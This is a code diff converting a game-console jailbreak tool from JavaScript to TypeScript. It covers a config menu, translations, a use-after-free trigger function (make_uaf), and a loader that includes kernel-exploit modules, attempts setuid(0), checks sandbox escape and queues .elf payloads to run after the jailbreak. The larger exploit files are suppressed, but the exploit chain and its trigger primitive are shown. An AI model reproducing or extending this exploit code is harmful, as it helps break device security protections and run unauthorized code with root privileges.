||||||
|
|
||||||
zoomOutInterval = jsmaf.setInterval(function () {
|
zoomOutInterval = jsmaf.setInterval(function () {
|
||||||
elapsed += step
|
elapsed += step
|
||||||
var t = Math.min(elapsed / duration, 1)
|
const t = Math.min(elapsed / duration, 1)
|
||||||
var eased = easeInOut(t)
|
const eased = easeInOut(t)
|
||||||
var scale = startScale + (endScale - startScale) * eased
|
const scale = startScale + (endScale - startScale) * eased
|
||||||
|
|
||||||
btn.scaleX = scale
|
btn.scaleX = scale
|
||||||
btn.scaleY = scale
|
btn.scaleY = scale
|
||||||
@@ -257,7 +263,7 @@ if (typeof lang === 'undefined') {
|
|||||||
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
text.y = textOrigY - (btnH * (scale - 1)) / 2
|
||||||
|
|
||||||
if (t >= 1) {
|
if (t >= 1) {
|
||||||
jsmaf.clearInterval(zoomOutInterval)
|
jsmaf.clearInterval(zoomOutInterval ?? -1)
|
||||||
zoomOutInterval = null
|
zoomOutInterval = null
|
||||||
}
|
}
|
||||||
}, step)
|
}, step)
|
||||||
@@ -265,57 +271,68 @@ if (typeof lang === 'undefined') {
|
|||||||
|
|
||||||
function updateHighlight () {
|
function updateHighlight () {
|
||||||
// Animate out the previous button
|
// Animate out the previous button
|
||||||
if (prevButton >= 0 && prevButton !== currentButton) {
|
const prevButtonObj = buttons[prevButton]
|
||||||
buttons[prevButton].url = normalButtonImg
|
const buttonMarker = buttonMarkers[prevButton]
|
||||||
buttons[prevButton].alpha = 0.7
|
if (prevButton >= 0 && prevButton !== currentButton && prevButtonObj) {
|
||||||
buttons[prevButton].borderColor = 'transparent'
|
prevButtonObj.url = normalButtonImg
|
||||||
buttons[prevButton].borderWidth = 0
|
prevButtonObj.alpha = 0.7
|
||||||
if (buttonMarkers[prevButton]) buttonMarkers[prevButton].visible = false
|
prevButtonObj.borderColor = 'transparent'
|
||||||
animateZoomOut(buttons[prevButton], buttonTexts[prevButton], buttonOrigPos[prevButton].x, buttonOrigPos[prevButton].y, textOrigPos[prevButton].x, textOrigPos[prevButton].y)
|
prevButtonObj.borderWidth = 0
|
||||||
|
if (buttonMarker) buttonMarker.visible = false
|
||||||
|
animateZoomOut(prevButtonObj, buttonTexts[prevButton]!, buttonOrigPos[prevButton]!.x, buttonOrigPos[prevButton]!.y, textOrigPos[prevButton]!.x, textOrigPos[prevButton]!.y)
|
||||||
}
|
}
|
||||||
|
|
||||||
// Set styles for all buttons
|
// Set styles for all buttons
|
||||||
for (var i = 0; i < buttons.length; i++) {
|
for (let i = 0; i < buttons.length; i++) {
|
||||||
|
const button = buttons[i]
|
||||||
|
const buttonMarker = buttonMarkers[i]
|
||||||
|
const buttonText = buttonTexts[i]
|
||||||
|
const buttonOrigPos_ = buttonOrigPos[i]
|
||||||
|
const textOrigPos_ = textOrigPos[i]
|
||||||
|
if (button === undefined || buttonText === undefined || buttonOrigPos_ === undefined || textOrigPos_ === undefined) continue
|
||||||
if (i === currentButton) {
|
if (i === currentButton) {
|
||||||
buttons[i].url = selectedButtonImg
|
button.url = selectedButtonImg
|
||||||
buttons[i].alpha = 1.0
|
button.alpha = 1.0
|
||||||
buttons[i].borderColor = 'rgb(100,180,255)'
|
button.borderColor = 'rgb(100,180,255)'
|
||||||
buttons[i].borderWidth = 3
|
button.borderWidth = 3
|
||||||
if (buttonMarkers[i]) buttonMarkers[i].visible = true
|
if (buttonMarker) buttonMarker.visible = true
|
||||||
animateZoomIn(buttons[i], buttonTexts[i], buttonOrigPos[i].x, buttonOrigPos[i].y, textOrigPos[i].x, textOrigPos[i].y)
|
animateZoomIn(button, buttonText, buttonOrigPos_.x, buttonOrigPos_.y, textOrigPos_.x, textOrigPos_.y)
|
||||||
} else if (i !== prevButton) {
|
} else if (i !== prevButton) {
|
||||||
buttons[i].url = normalButtonImg
|
button.url = normalButtonImg
|
||||||
buttons[i].alpha = 0.7
|
button.alpha = 0.7
|
||||||
buttons[i].borderColor = 'transparent'
|
button.borderColor = 'transparent'
|
||||||
buttons[i].borderWidth = 0
|
button.borderWidth = 0
|
||||||
buttons[i].scaleX = 1.0
|
button.scaleX = 1.0
|
||||||
buttons[i].scaleY = 1.0
|
button.scaleY = 1.0
|
||||||
buttons[i].x = buttonOrigPos[i].x
|
button.x = buttonOrigPos_.x
|
||||||
buttons[i].y = buttonOrigPos[i].y
|
button.y = buttonOrigPos_.y
|
||||||
buttonTexts[i].scaleX = 1.0
|
buttonText.scaleX = 1.0
|
||||||
buttonTexts[i].scaleY = 1.0
|
buttonText.scaleY = 1.0
|
||||||
buttonTexts[i].x = textOrigPos[i].x
|
buttonText.x = textOrigPos_.x
|
||||||
buttonTexts[i].y = textOrigPos[i].y
|
buttonText.y = textOrigPos_.y
|
||||||
if (buttonMarkers[i]) buttonMarkers[i].visible = false
|
if (buttonMarker) buttonMarker.visible = false
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
prevButton = currentButton
|
prevButton = currentButton
|
||||||
}
|
}
|
||||||
|
|
||||||
function updateValueText (index) {
|
function updateValueText (index: number) {
|
||||||
var key = configOptions[index].key
|
const options = configOptions[index]
|
||||||
var value = currentConfig[key]
|
const valueText = valueTexts[index]
|
||||||
valueTexts[index].url = value ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png'
|
if (!options || !valueText) return
|
||||||
|
const key = options.key
|
||||||
|
const value = currentConfig[key as keyof typeof currentConfig]
|
||||||
|
valueText.url = value ? 'file:///assets/img/check_small_on.png' : 'file:///assets/img/check_small_off.png'
|
||||||
}
|
}
|
||||||
|
|
||||||
function saveConfig () {
|
function saveConfig () {
|
||||||
var configContent = 'var CONFIG = {\n'
|
let configContent = 'const CONFIG = {\n'
|
||||||
configContent += ' autolapse: ' + currentConfig.autolapse + ', \n'
|
configContent += ' autolapse: ' + currentConfig.autolapse + ', \n'
|
||||||
configContent += ' autopoop: ' + currentConfig.autopoop + ',\n'
|
configContent += ' autopoop: ' + currentConfig.autopoop + ',\n'
|
||||||
configContent += ' autoclose: ' + currentConfig.autoclose + '\n'
|
configContent += ' autoclose: ' + currentConfig.autoclose + '\n'
|
||||||
configContent += '};\n\n'
|
configContent += '};\n\n'
|
||||||
configContent += 'var payloads = [ //to be ran after jailbroken\n'
|
configContent += 'const payloads = [ //to be ran after jailbroken\n'
|
||||||
configContent += ' "/mnt/sandbox/download/CUSA00960/payloads/aiofix_network.elf"\n'
|
configContent += ' "/mnt/sandbox/download/CUSA00960/payloads/aiofix_network.elf"\n'
|
||||||
configContent += '];\n'
|
configContent += '];\n'
|
||||||
|
|
||||||
@@ -329,26 +346,26 @@ if (typeof lang === 'undefined') {
|
|||||||
}
|
}
|
||||||
|
|
||||||
function loadConfig () {
|
function loadConfig () {
|
||||||
fs.read('config.js', function (err, data) {
|
fs.read('config.js', function (err: Error | null, data?: string) {
|
||||||
if (err) {
|
if (err) {
|
||||||
log('ERROR: Failed to read config: ' + err.message)
|
log('ERROR: Failed to read config: ' + err.message)
|
||||||
return
|
return
|
||||||
}
|
}
|
||||||
|
|
||||||
try {
|
try {
|
||||||
eval(data) // eslint-disable-line no-eval
|
eval(data || '') // eslint-disable-line no-eval
|
||||||
if (typeof CONFIG !== 'undefined') {
|
if (typeof CONFIG !== 'undefined') {
|
||||||
currentConfig.autolapse = CONFIG.autolapse || false
|
currentConfig.autolapse = CONFIG.autolapse || false
|
||||||
currentConfig.autopoop = CONFIG.autopoop || false
|
currentConfig.autopoop = CONFIG.autopoop || false
|
||||||
currentConfig.autoclose = CONFIG.autoclose || false
|
currentConfig.autoclose = CONFIG.autoclose || false
|
||||||
|
|
||||||
for (var i = 0; i < configOptions.length; i++) {
|
for (let i = 0; i < configOptions.length; i++) {
|
||||||
updateValueText(i)
|
updateValueText(i)
|
||||||
}
|
}
|
||||||
log('Config loaded successfully')
|
log('Config loaded successfully')
|
||||||
}
|
}
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('ERROR: Failed to parse config: ' + e.message)
|
log('ERROR: Failed to parse config: ' + (e as Error).message)
|
||||||
}
|
}
|
||||||
})
|
})
|
||||||
}
|
}
|
||||||
@@ -359,16 +376,16 @@ if (typeof lang === 'undefined') {
|
|||||||
try {
|
try {
|
||||||
include('main-menu.js')
|
include('main-menu.js')
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('ERROR loading main-menu.js: ' + e.message)
|
log('ERROR loading main-menu.js: ' + (e as Error).message)
|
||||||
}
|
}
|
||||||
} else if (currentButton < configOptions.length) {
|
} else if (currentButton < configOptions.length) {
|
||||||
var key = configOptions[currentButton].key
|
const key = configOptions[currentButton]!.key
|
||||||
currentConfig[key] = !currentConfig[key]
|
currentConfig[key as keyof typeof currentConfig] = !currentConfig[key as keyof typeof currentConfig]
|
||||||
|
|
||||||
if (key === 'autolapse' && currentConfig[key] === true) {
|
if (key === 'autolapse' && currentConfig[key] === true) {
|
||||||
currentConfig.autopoop = false
|
currentConfig.autopoop = false
|
||||||
for (var i = 0; i < configOptions.length; i++) {
|
for (let i = 0; i < configOptions.length; i++) {
|
||||||
if (configOptions[i].key === 'autopoop') {
|
if (configOptions[i]!.key === 'autopoop') {
|
||||||
updateValueText(i)
|
updateValueText(i)
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -376,8 +393,8 @@ if (typeof lang === 'undefined') {
|
|||||||
log('autopoop disabled (autolapse enabled)')
|
log('autopoop disabled (autolapse enabled)')
|
||||||
} else if (key === 'autopoop' && currentConfig[key] === true) {
|
} else if (key === 'autopoop' && currentConfig[key] === true) {
|
||||||
currentConfig.autolapse = false
|
currentConfig.autolapse = false
|
||||||
for (var i = 0; i < configOptions.length; i++) {
|
for (let i = 0; i < configOptions.length; i++) {
|
||||||
if (configOptions[i].key === 'autolapse') {
|
if (configOptions[i]!.key === 'autolapse') {
|
||||||
updateValueText(i)
|
updateValueText(i)
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
@@ -385,7 +402,7 @@ if (typeof lang === 'undefined') {
|
|||||||
log('autolapse disabled (autopoop enabled)')
|
log('autolapse disabled (autopoop enabled)')
|
||||||
}
|
}
|
||||||
|
|
||||||
log(key + ' = ' + currentConfig[key])
|
log(key + ' = ' + currentConfig[key as keyof typeof currentConfig])
|
||||||
updateValueText(currentButton)
|
updateValueText(currentButton)
|
||||||
saveConfig()
|
saveConfig()
|
||||||
}
|
}
|
||||||
@@ -405,7 +422,7 @@ if (typeof lang === 'undefined') {
|
|||||||
try {
|
try {
|
||||||
include('main-menu.js')
|
include('main-menu.js')
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
log('ERROR loading main-menu.js: ' + e.message)
|
log('ERROR loading main-menu.js: ' + (e as Error).message)
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
Executable → Regular
+8
-4
@@ -1,7 +1,11 @@
|
|||||||
function make_uaf (arr) {
|
import { struct } from './types'
|
||||||
var o = {}
|
|
||||||
for (var i in { xx: '' }) {
|
export function make_uaf (arr: DataView) {
|
||||||
for (i of [arr]) {} // eslint-disable-line no-empty
|
const o = {}
|
||||||
|
for (let i in { xx: '' }) {
|
||||||
|
// @ts-expect-error need to confuse variable i
|
||||||
|
for (i of [arr]);
|
||||||
|
// @ts-expect-error need to access it as well
|
||||||
o[i]
|
o[i]
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
File diff suppressed because it is too large
Load Diff
@@ -1,9 +1,27 @@
|
|||||||
// Language translations
|
// Language translations
|
||||||
// Detected locale: jsmaf.locale
|
// Detected locale: jsmaf.locale
|
||||||
|
|
||||||
var lang = {}
|
export const lang = {
|
||||||
|
jailbreak: 'Jailbreak',
|
||||||
|
payloadMenu: 'Payload Menu',
|
||||||
|
config: 'Config',
|
||||||
|
exit: 'Exit',
|
||||||
|
back: 'Back',
|
||||||
|
autoLapse: 'Auto Lapse',
|
||||||
|
autoPoop: 'Auto Poop',
|
||||||
|
autoClose: 'Auto Close',
|
||||||
|
totalAttempts: 'Total Attempts: ',
|
||||||
|
successes: 'Successes: ',
|
||||||
|
failures: 'Failures: ',
|
||||||
|
successRate: 'Success Rate: ',
|
||||||
|
failureRate: 'Failure Rate: ',
|
||||||
|
loadingMainMenu: 'Loading main menu...',
|
||||||
|
mainMenuLoaded: 'Main menu loaded',
|
||||||
|
loadingConfig: 'Loading config UI...',
|
||||||
|
configLoaded: 'Config UI loaded'
|
||||||
|
}
|
||||||
|
|
||||||
var detectedLocale = jsmaf.locale || 'en'
|
const detectedLocale = jsmaf.locale || 'en'
|
||||||
log('Detected locale: ' + detectedLocale)
|
log('Detected locale: ' + detectedLocale)
|
||||||
|
|
||||||
switch (detectedLocale) {
|
switch (detectedLocale) {
|
||||||
@@ -27,69 +45,69 @@ switch (detectedLocale) {
|
|||||||
lang.loadingConfig = 'Cargando configuracion...'
|
lang.loadingConfig = 'Cargando configuracion...'
|
||||||
lang.configLoaded = 'Configuracion cargada'
|
lang.configLoaded = 'Configuracion cargada'
|
||||||
break
|
break
|
||||||
//vue doesnt have these locales in the fonts for asian and arabic languages. need to figure out how to load custom font . please reference /app0/assets/font/ for examples
|
// vue doesnt have these locales in the fonts for asian and arabic languages. need to figure out how to load custom font . please reference /app0/assets/font/ for examples
|
||||||
//~ case 'ar':
|
// ~ case 'ar':
|
||||||
//~ // Arabic
|
// ~ // Arabic
|
||||||
//~ lang.jailbreak = 'Jailbreak'
|
// ~ lang.jailbreak = 'Jailbreak'
|
||||||
//~ lang.payloadMenu = 'قائمة الحمولات'
|
// ~ lang.payloadMenu = 'قائمة الحمولات'
|
||||||
//~ lang.config = 'الاعدادات'
|
// ~ lang.config = 'الاعدادات'
|
||||||
//~ lang.exit = 'خروج'
|
// ~ lang.exit = 'خروج'
|
||||||
//~ lang.back = 'رجوع'
|
// ~ lang.back = 'رجوع'
|
||||||
//~ lang.autoLapse = 'Auto Lapse'
|
// ~ lang.autoLapse = 'Auto Lapse'
|
||||||
//~ lang.autoPoop = 'Auto Poop'
|
// ~ lang.autoPoop = 'Auto Poop'
|
||||||
//~ lang.autoClose = 'اغلاق تلقائي'
|
// ~ lang.autoClose = 'اغلاق تلقائي'
|
||||||
//~ lang.totalAttempts = 'اجمالي المحاولات: '
|
// ~ lang.totalAttempts = 'اجمالي المحاولات: '
|
||||||
//~ lang.successes = 'النجاحات: '
|
// ~ lang.successes = 'النجاحات: '
|
||||||
//~ lang.failures = 'الاخفاقات: '
|
// ~ lang.failures = 'الاخفاقات: '
|
||||||
//~ lang.successRate = 'معدل النجاح: '
|
// ~ lang.successRate = 'معدل النجاح: '
|
||||||
//~ lang.failureRate = 'معدل الفشل: '
|
// ~ lang.failureRate = 'معدل الفشل: '
|
||||||
//~ lang.loadingMainMenu = '...جاري تحميل القائمة الرئيسية'
|
// ~ lang.loadingMainMenu = '...جاري تحميل القائمة الرئيسية'
|
||||||
//~ lang.mainMenuLoaded = 'تم تحميل القائمة الرئيسية'
|
// ~ lang.mainMenuLoaded = 'تم تحميل القائمة الرئيسية'
|
||||||
//~ lang.loadingConfig = '...جاري تحميل الاعدادات'
|
// ~ lang.loadingConfig = '...جاري تحميل الاعدادات'
|
||||||
//~ lang.configLoaded = 'تم تحميل الاعدادات'
|
// ~ lang.configLoaded = 'تم تحميل الاعدادات'
|
||||||
//~ break
|
// ~ break
|
||||||
|
|
||||||
//~ case 'ko':
|
// ~ case 'ko':
|
||||||
//~ // Korean
|
// ~ // Korean
|
||||||
//~ lang.jailbreak = '탈옥'
|
// ~ lang.jailbreak = '탈옥'
|
||||||
//~ lang.payloadMenu = '페이로드 메뉴'
|
// ~ lang.payloadMenu = '페이로드 메뉴'
|
||||||
//~ lang.config = '설정'
|
// ~ lang.config = '설정'
|
||||||
//~ lang.exit = '종료'
|
// ~ lang.exit = '종료'
|
||||||
//~ lang.back = '뒤로'
|
// ~ lang.back = '뒤로'
|
||||||
//~ lang.autoLapse = '자동 Lapse'
|
// ~ lang.autoLapse = '자동 Lapse'
|
||||||
//~ lang.autoPoop = '자동 Poop'
|
// ~ lang.autoPoop = '자동 Poop'
|
||||||
//~ lang.autoClose = '자동 닫기'
|
// ~ lang.autoClose = '자동 닫기'
|
||||||
//~ lang.totalAttempts = '총 시도: '
|
// ~ lang.totalAttempts = '총 시도: '
|
||||||
//~ lang.successes = '성공: '
|
// ~ lang.successes = '성공: '
|
||||||
//~ lang.failures = '실패: '
|
// ~ lang.failures = '실패: '
|
||||||
//~ lang.successRate = '성공률: '
|
// ~ lang.successRate = '성공률: '
|
||||||
//~ lang.failureRate = '실패율: '
|
// ~ lang.failureRate = '실패율: '
|
||||||
//~ lang.loadingMainMenu = '메인 메뉴 로딩중...'
|
// ~ lang.loadingMainMenu = '메인 메뉴 로딩중...'
|
||||||
//~ lang.mainMenuLoaded = '메인 메뉴 로딩 완료'
|
// ~ lang.mainMenuLoaded = '메인 메뉴 로딩 완료'
|
||||||
//~ lang.loadingConfig = '설정 로딩중...'
|
// ~ lang.loadingConfig = '설정 로딩중...'
|
||||||
//~ lang.configLoaded = '설정 로딩 완료'
|
// ~ lang.configLoaded = '설정 로딩 완료'
|
||||||
//~ break
|
// ~ break
|
||||||
|
|
||||||
//~ case 'ja':
|
// ~ case 'ja':
|
||||||
//~ // Japanese
|
// ~ // Japanese
|
||||||
//~ lang.jailbreak = '脱獄'
|
// ~ lang.jailbreak = '脱獄'
|
||||||
//~ lang.payloadMenu = 'ペイロードメニュー'
|
// ~ lang.payloadMenu = 'ペイロードメニュー'
|
||||||
//~ lang.config = '設定'
|
// ~ lang.config = '設定'
|
||||||
//~ lang.exit = '終了'
|
// ~ lang.exit = '終了'
|
||||||
//~ lang.back = '戻る'
|
// ~ lang.back = '戻る'
|
||||||
//~ lang.autoLapse = '自動Lapse'
|
// ~ lang.autoLapse = '自動Lapse'
|
||||||
//~ lang.autoPoop = '自動Poop'
|
// ~ lang.autoPoop = '自動Poop'
|
||||||
//~ lang.autoClose = '自動終了'
|
// ~ lang.autoClose = '自動終了'
|
||||||
//~ lang.totalAttempts = '試行回数: '
|
// ~ lang.totalAttempts = '試行回数: '
|
||||||
//~ lang.successes = '成功: '
|
// ~ lang.successes = '成功: '
|
||||||
//~ lang.failures = '失敗: '
|
// ~ lang.failures = '失敗: '
|
||||||
//~ lang.successRate = '成功率: '
|
// ~ lang.successRate = '成功率: '
|
||||||
//~ lang.failureRate = '失敗率: '
|
// ~ lang.failureRate = '失敗率: '
|
||||||
//~ lang.loadingMainMenu = 'メインメニュー読み込み中...'
|
// ~ lang.loadingMainMenu = 'メインメニュー読み込み中...'
|
||||||
//~ lang.mainMenuLoaded = 'メインメニュー読み込み完了'
|
// ~ lang.mainMenuLoaded = 'メインメニュー読み込み完了'
|
||||||
//~ lang.loadingConfig = '設定読み込み中...'
|
// ~ lang.loadingConfig = '設定読み込み中...'
|
||||||
//~ lang.configLoaded = '設定読み込み完了'
|
// ~ lang.configLoaded = '設定読み込み完了'
|
||||||
//~ break
|
// ~ break
|
||||||
|
|
||||||
case 'pt':
|
case 'pt':
|
||||||
// Portuguese
|
// Portuguese
|
||||||
@@ -240,24 +258,7 @@ switch (detectedLocale) {
|
|||||||
|
|
||||||
case 'en':
|
case 'en':
|
||||||
default:
|
default:
|
||||||
// English (default)
|
// English (default) which is already set
|
||||||
lang.jailbreak = 'Jailbreak'
|
|
||||||
lang.payloadMenu = 'Payload Menu'
|
|
||||||
lang.config = 'Config'
|
|
||||||
lang.exit = 'Exit'
|
|
||||||
lang.back = 'Back'
|
|
||||||
lang.autoLapse = 'Auto Lapse'
|
|
||||||
lang.autoPoop = 'Auto Poop'
|
|
||||||
lang.autoClose = 'Auto Close'
|
|
||||||
lang.totalAttempts = 'Total Attempts: '
|
|
||||||
lang.successes = 'Successes: '
|
|
||||||
lang.failures = 'Failures: '
|
|
||||||
lang.successRate = 'Success Rate: '
|
|
||||||
lang.failureRate = 'Failure Rate: '
|
|
||||||
lang.loadingMainMenu = 'Loading main menu...'
|
|
||||||
lang.mainMenuLoaded = 'Main menu loaded'
|
|
||||||
lang.loadingConfig = 'Loading config UI...'
|
|
||||||
lang.configLoaded = 'Config UI loaded'
|
|
||||||
break
|
break
|
||||||
}
|
}
|
||||||
|
|
||||||
File diff suppressed because it is too large
Load Diff
File diff suppressed because it is too large
Load Diff
@@ -1,3 +1,10 @@
|
|||||||
|
import { libc_addr } from 'download0/userland'
|
||||||
|
import { stats } from 'download0/stats-tracker'
|
||||||
|
import { fn, mem, BigInt, utils } from 'download0/types'
|
||||||
|
import { sysctlbyname } from 'download0/kernel'
|
||||||
|
import { lapse } from 'download0/lapse'
|
||||||
|
import { binloader_init } from 'download0/binloader'
|
||||||
|
|
||||||
// Load binloader first (just defines the function, doesn't execute)
|
// Load binloader first (just defines the function, doesn't execute)
|
||||||
|
|
||||||
// Now load userland and lapse
|
// Now load userland and lapse
|
||||||
@@ -8,48 +15,45 @@ if (typeof libc_addr === 'undefined') {
|
|||||||
include('stats-tracker.js')
|
include('stats-tracker.js')
|
||||||
include('binloader.js')
|
include('binloader.js')
|
||||||
include('lapse.js')
|
include('lapse.js')
|
||||||
|
include('kernel.js')
|
||||||
|
|
||||||
// Increment total attempts
|
// Increment total attempts
|
||||||
stats.load()
|
stats.load()
|
||||||
|
|
||||||
function show_success () {
|
export function show_success () {
|
||||||
jsmaf.root.children.push(bg_success)
|
jsmaf.root.children.push(bg_success)
|
||||||
log('Logging Success...')
|
log('Logging Success...')
|
||||||
stats.incrementSuccess()
|
stats.incrementSuccess()
|
||||||
}
|
}
|
||||||
|
|
||||||
var audio = new jsmaf.AudioClip()
|
const audio = new jsmaf.AudioClip()
|
||||||
audio.volume = 0.5 // 50% volume
|
audio.volume = 0.5 // 50% volume
|
||||||
audio.open('file://../download0/sfx/bgm.wav')
|
audio.open('file://../download0/sfx/bgm.wav')
|
||||||
|
|
||||||
function isJailbroken () {
|
function isJailbroken () {
|
||||||
// Register syscalls
|
// Register syscalls
|
||||||
try { fn.register(24, 'getuid', 'bigint') } catch (e) {}
|
fn.register(24, 'getuid', [], 'bigint')
|
||||||
try { fn.register(23, 'setuid', 'bigint') } catch (e) {}
|
fn.register(23, 'setuid', ['number'], 'bigint')
|
||||||
|
|
||||||
// Get current UID
|
// Get current UID
|
||||||
var uid_before = fn.getuid()
|
const uid_before = fn.getuid()
|
||||||
var uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
|
const uid_before_val = (uid_before instanceof BigInt) ? uid_before.lo : uid_before
|
||||||
log('UID before setuid: ' + uid_before_val)
|
log('UID before setuid: ' + uid_before_val)
|
||||||
|
|
||||||
// Try to set UID to 0 (root) - catch EPERM if not jailbroken
|
// Try to set UID to 0 (root) - catch EPERM if not jailbroken
|
||||||
log('Attempting setuid(0)...')
|
log('Attempting setuid(0)...')
|
||||||
var setuid_success = false
|
|
||||||
var error_msg = null
|
|
||||||
|
|
||||||
try {
|
try {
|
||||||
var setuid_result = fn.setuid(0)
|
const setuid_result = fn.setuid(0)
|
||||||
var setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
|
const setuid_ret = (setuid_result instanceof BigInt) ? setuid_result.lo : setuid_result
|
||||||
log('setuid returned: ' + setuid_ret)
|
log('setuid returned: ' + setuid_ret)
|
||||||
setuid_success = (setuid_ret === 0)
|
|
||||||
} catch (e) {
|
} catch (e) {
|
||||||
error_msg = e.toString()
|
log('setuid threw exception: ' + (e as Error).toString())
|
||||||
log('setuid threw exception: ' + error_msg)
|
|
||||||
}
|
}
|
||||||
|
|
||||||
// Get UID after setuid attempt
|
// Get UID after setuid attempt
|
||||||
var uid_after = fn.getuid()
|
const uid_after = fn.getuid()
|
||||||
var uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
|
const uid_after_val = (uid_after instanceof BigInt) ? uid_after.lo : uid_after
|
||||||
log('UID after setuid: ' + uid_after_val)
|
log('UID after setuid: ' + uid_after_val)
|
||||||
|
|
||||||
if (uid_after_val === 0) {
|
if (uid_after_val === 0) {
|
||||||
@@ -61,68 +65,39 @@ function isJailbroken () {
|
|||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
var is_jailbroken = isJailbroken()
|
const is_jailbroken = isJailbroken()
|
||||||
|
|
||||||
// Check if exploit has completed successfully
|
// Check if exploit has completed successfully
|
||||||
function is_exploit_complete () {
|
function is_exploit_complete () {
|
||||||
// Check if we're actually jailbroken
|
// Check if we're actually jailbroken
|
||||||
if (typeof getuid !== 'undefined' && typeof is_in_sandbox !== 'undefined') {
|
fn.register(24, 'getuid', [], 'bigint')
|
||||||
try {
|
fn.register(585, 'is_in_sandbox', [], 'bigint')
|
||||||
var uid = getuid()
|
try {
|
||||||
var sandbox = is_in_sandbox()
|
const uid = fn.getuid()
|
||||||
// Should be root (uid=0) and not sandboxed (0)
|
const sandbox = fn.is_in_sandbox()
|
||||||
if (!uid.eq(0) || !sandbox.eq(0)) {
|
// Should be root (uid=0) and not sandboxed (0)
|
||||||
return false
|
if (!uid.eq(0) || !sandbox.eq(0)) {
|
||||||
}
|
|
||||||
} catch (e) {
|
|
||||||
return false
|
return false
|
||||||
}
|
}
|
||||||
|
} catch (e) {
|
||||||
|
return false
|
||||||
}
|
}
|
||||||
|
|
||||||
return true
|
return true
|
||||||
}
|
}
|
||||||
|
|
||||||
function write8 (addr, val) {
|
function write64 (addr: BigInt, val: BigInt | number) {
|
||||||
mem.view(addr).setUint8(0, val & 0xFF, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
function write16 (addr, val) {
|
|
||||||
mem.view(addr).setUint16(0, val & 0xFFFF, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
function write32 (addr, val) {
|
|
||||||
mem.view(addr).setUint32(0, val & 0xFFFFFFFF, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
function write64 (addr, val) {
|
|
||||||
mem.view(addr).setBigInt(0, new BigInt(val), true)
|
mem.view(addr).setBigInt(0, new BigInt(val), true)
|
||||||
}
|
}
|
||||||
|
|
||||||
function read8 (addr) {
|
function read8 (addr: BigInt) {
|
||||||
return mem.view(addr).getUint8(0, true)
|
return mem.view(addr).getUint8(0)
|
||||||
}
|
}
|
||||||
|
|
||||||
function read16 (addr) {
|
function malloc (size: number) {
|
||||||
return mem.view(addr).getUint16(0, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
function read32 (addr) {
|
|
||||||
return mem.view(addr).getUint32(0, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
function read64 (addr) {
|
|
||||||
return mem.view(addr).getBigInt(0, true)
|
|
||||||
}
|
|
||||||
|
|
||||||
function malloc (size) {
|
|
||||||
return mem.malloc(size)
|
return mem.malloc(size)
|
||||||
}
|
}
|
||||||
|
|
||||||
function hex (val) {
|
|
||||||
if (val instanceof BigInt) { return val.toString() }
|
|
||||||
return '0x' + val.toString(16).padStart(2, '0')
|
|
||||||
}
|
|
||||||
|
|
||||||
function get_fwversion () {
|
function get_fwversion () {
|
||||||
const buf = malloc(0x8)
|
const buf = malloc(0x8)
|
||||||
const size = malloc(0x8)
|
const size = malloc(0x8)
|
||||||
@@ -138,15 +113,20 @@ function get_fwversion () {
|
|||||||
return null
|
return null
|
||||||
}
|
}
|
||||||
|
|
||||||
FW_VERSION = get_fwversion()
|
const FW_VERSION: string | null = get_fwversion()
|
||||||
|
|
||||||
function compare_version (a, b) {
|
if (FW_VERSION === null) {
|
||||||
|
log('ERROR: Failed to determine FW version')
|
||||||
|
throw new Error('Failed to determine FW version')
|
||||||
|
}
|
||||||
|
|
||||||
|
const compare_version = (a: string, b: string) => {
|
||||||
const a_arr = a.split('.')
|
const a_arr = a.split('.')
|
||||||
const amaj = a_arr[0]
|
const amaj = Number(a_arr[0])
|
||||||
const amin = a_arr[1]
|
const amin = Number(a_arr[1])
|
||||||
const b_arr = b.split('.')
|
const b_arr = b.split('.')
|
||||||
const bmaj = b_arr[0]
|
const bmaj = Number(b_arr[0])
|
||||||
const bmin = b_arr[1]
|
const bmin = Number(b_arr[1])
|
||||||
return amaj === bmaj ? amin - bmin : amaj - bmaj
|
return amaj === bmaj ? amin - bmin : amaj - bmaj
|
||||||
}
|
}
|
||||||
|
|
||||||
@@ -169,12 +149,12 @@ if (!is_jailbroken) {
|
|||||||
include('netctrl_c0w_twins.js')
|
include('netctrl_c0w_twins.js')
|
||||||
}
|
}
|
||||||
|
|
||||||
var start_time = Date.now()
|
const start_time = Date.now()
|
||||||
var max_wait_seconds = 5
|
const max_wait_seconds = 5
|
||||||
var max_wait_ms = max_wait_seconds * 1000
|
const max_wait_ms = max_wait_seconds * 1000
|
||||||
|
|
||||||
while (!is_exploit_complete()) {
|
while (!is_exploit_complete()) {
|
||||||
var elapsed = Date.now() - start_time
|
const elapsed = Date.now() - start_time
|
||||||
|
|
||||||
if (elapsed > max_wait_ms) {
|
if (elapsed > max_wait_ms) {
|
||||||
log('ERROR: Timeout waiting for exploit to complete (' + max_wait_seconds + ' seconds)')
|
log('ERROR: Timeout waiting for exploit to complete (' + max_wait_seconds + ' seconds)')
|
||||||
@@ -182,13 +162,13 @@ if (!is_jailbroken) {
|
|||||||
}
|
}
|
||||||
|
|
||||||
// Poll every 500ms
|
// Poll every 500ms
|
||||||
var poll_start = Date.now()
|
const poll_start = Date.now()
|
||||||
while (Date.now() - poll_start < 500) {
|
while (Date.now() - poll_start < 500) {
|
||||||
// Busy wait
|
// Busy wait
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
show_success()
|
show_success()
|
||||||
var total_wait = ((Date.now() - start_time) / 1000).toFixed(1)
|
const total_wait = ((Date.now() - start_time) / 1000).toFixed(1)
|
||||||
